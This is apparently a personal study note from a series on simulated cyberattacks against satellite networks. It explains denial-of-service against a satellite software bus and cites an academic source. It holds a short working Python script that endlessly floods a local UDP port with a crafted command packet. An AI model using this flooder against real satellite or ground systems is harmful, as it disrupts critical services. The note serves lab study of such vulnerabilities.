date: 2025-02-28
previous note: [[1011.2.3.3 Simulated Cyber Attack on Satellite Network]]
related note(s):
-
tags: #satellite-cyber-attack
# DoS Attack
A DoS attack is a "Denial of Service" where you overwhelm the cpu and prevent it from being able to process all of the data coming into the satellite. This is very similar to electronic jamming of a satellite, but significantly cheaper and easier. Jamming requires big, complex equipment that requires a lot of power to jam the external systems. A DoS attack just needs to overwhelm the Software Bus and no other systems (Schalk et al., 2022, p. 354).
The code used to do this was a rather simple Python script:
```python
# Import the socket library from standard Python
import socket
# Create the DoS Command
dos_command = [0x18 ,0xB3 ,0xC0 ,0x00 ,0x00 ,0x95 ,0x43 ,0x03 ,0x01 ,0x00 ,0x00 ,0x00 ,0x30 ,0x2E ,0x32 ,0x31]
# convert the hexadecimal into bytes
byte_message = bytes(dos_command)
# Open the network socket
opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# "while True" is a way to tell your program to
# always run this command as fast as you can
while True:
# Send message to socket as fast as possible
opened_socket.sendto(byte_message, ("127.0.0.1", 1234))
```
---
# References
1. [[Analysis of Vulnerabilities in Satellite Software Bus Network Architecture]]